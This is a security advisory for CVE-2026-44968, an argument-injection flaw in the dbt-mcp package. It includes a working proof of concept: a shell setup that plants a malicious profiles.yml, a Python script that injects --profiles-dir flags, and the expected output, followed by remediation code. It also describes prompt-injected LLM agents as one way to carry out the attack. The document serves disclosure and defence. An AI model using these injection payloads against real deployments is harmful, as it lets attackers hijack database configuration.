PT-2026-41148 · Pypi · Dbt-Mcp
Published
2026-05-14
·
Updated
2026-05-14
·
CVE-2026-44968
CVSS v3.1
6.3
Medium
| Vector | AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N |
Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*
Summary
run dbt command() in src/dbt mcp/dbt cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node selection string (Vector 1) or the resource type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.Details
Vector 1 —
node selection string
Affected tools: build, compile, run, test, clone, list, get node details dev# src/dbt mcp/dbt cli/tools.py lines 77–79
if node selection and isinstance(node selection, str):
selector params = node selection.split(" ")
command.extend(["--select"] + selector params)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my model --profiles-dir /tmp/evil" produces:["dbt", "--no-use-colors", "run",
"--select", "my model", "--profiles-dir", "/tmp/evil"]
dbt parses the injected
--profiles-dir as a global option and loads configuration from the attacker-supplied path.Vector 2 —
resource type list
Affected tool: list# src/dbt mcp/dbt cli/tools.py lines 84–85
if isinstance(resource type, Iterable):
command.extend(["--resource-type"] + resource type)
Each JSON array element is appended verbatim to argv. Input
["model", "--profiles-dir", "/tmp/evil"] produces:["dbt", "--no-use-colors", "list",
"--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with
- from being appended as independent argv elements.PoC
1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil profile:
target: dev
outputs:
dev:
type: duckdb
path: /tmp/PWNED by injection.duckdb
threads: 1
EOF
# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt project.yml << 'EOF'
name: test project
version: '1.0.0'
profile: evil profile
model-paths: ["models"]
models:
test project:
+materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my first model.sql
rm -f /tmp/PWNED by injection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc injection.py
# Reproduces run dbt command() from src/dbt mcp/dbt cli/tools.py
import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable
class BinaryType(Enum):
DBT CORE = "dbt core"
@dataclass
class DbtCliConfig:
project dir: str
dbt path: str
dbt cli timeout: int
binary type: BinaryType
def run dbt command(config, command, node selection=None, resource type=None):
# Vector 1: vulnerable line from tools.py
if node selection and isinstance(node selection, str):
selector params = node selection.split(" ")
command.extend(["--select"] + selector params)
# Vector 2: vulnerable line from tools.py
if isinstance(resource type, Iterable) and resource type is not None:
command.extend(["--resource-type"] + list(resource type))
cwd = config.project dir if os.path.isabs(config.project dir) else None
args = [config.dbt path, "--no-use-colors", *command]
print(f"[args] {args}")
proc = subprocess.Popen(args=args, cwd=cwd,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.DEVNULL, text=True)
out, = proc.communicate(timeout=config.dbt cli timeout)
return out or "OK"
config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT CORE)
print("=" * 64)
print(" Vector 1 - node selection injection")
print("=" * 64)
print(f"[input] node selection = 'my first model --profiles-dir /tmp/evil-profiles'")
result1 = run dbt command(config, ["run"],
node selection="my first model --profiles-dir /tmp/evil-profiles")
print("[dbt output]"); print(result1)
print("=" * 64)
print(" Vector 2 - resource type injection")
print("=" * 64)
print(f"[input] resource type = ['model', '--profiles-dir', '/tmp/evil-profiles']")
result2 = run dbt command(config, ["list"],
resource type=["model", "--profiles-dir", "/tmp/evil-profiles"])
print("[dbt output]"); print(result2)
db = "/tmp/PWNED by injection.duckdb"
print("=" * 64)
if os.path.exists(db):
print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)")
print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.")
else:
print(f"[NOTE] {db} not found. Check dbt output above.")
print("=" * 64)
Expected server log (INFO level,
src/dbt mcp/mcp/server.py line 67):
[args] ['dbt', '--no-use-colors', 'run', '--select', 'my first model', '--profiles-dir', '/tmp/evil-profiles']
[args] ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']
[CONFIRMED] /tmp/PWNED by injection.duckdb exists (274432 bytes)
[CONFIRMED] dbt accepted the injected --profiles-dir flag.
The injected flags reach
run dbt command() unchanged and are passed verbatim to subprocess.Popen.Screenshot
Impact
The following is directly demonstrated by the PoC above:
- An MCP client can inject arbitrary dbt global flags into
subprocess.Popen's argv list via eithernode selectionorresource type. --profiles-diris accepted by dbt as a global option, overriding the server's configured profile directory.- When an attacker-controlled
profiles.ymlexists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to/tmp/PWNED by injection.duckdb.
Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a
profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.Remediation
Vector 1 — validate each
node selection token before extending argv:import re
# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:
SAFE TOKEN RE = re.compile(r'^[w.*+@,:[]/-]+$')
if node selection and isinstance(node selection, str):
tokens = node selection.split(" ")
for token in tokens:
if not SAFE TOKEN RE.match(token):
raise InvalidParameterError(
f"node selection contains an invalid token: {token!r}. "
"Tokens must not begin with '-'."
)
command.extend(["--select"] + tokens)
Vector 2 — validate
resource type against an explicit allowlist: VALID RESOURCE TYPES = frozenset({
"model", "test", "snapshot", "analysis", "macro",
"operation", "seed", "source", "exposure", "metric",
"saved query", "semantic model", "unit test",
})
if isinstance(resource type, Iterable):
rt list = list(resource type)
invalid = [v for v in rt list if v not in VALID RESOURCE TYPES]
if invalid:
raise InvalidParameterError(
f"resource type contains unrecognised values: {invalid}. "
f"Allowed: {sorted( VALID RESOURCE TYPES)}"
)
command.extend(["--resource-type"] + rt list)
Hardening: Add
pattern regex constraints to the Pydantic Field definitions for node selection so that malformed inputs are rejected at the MCP schema layer before reaching run dbt command(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.Fix
Argument Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Dbt-Mcp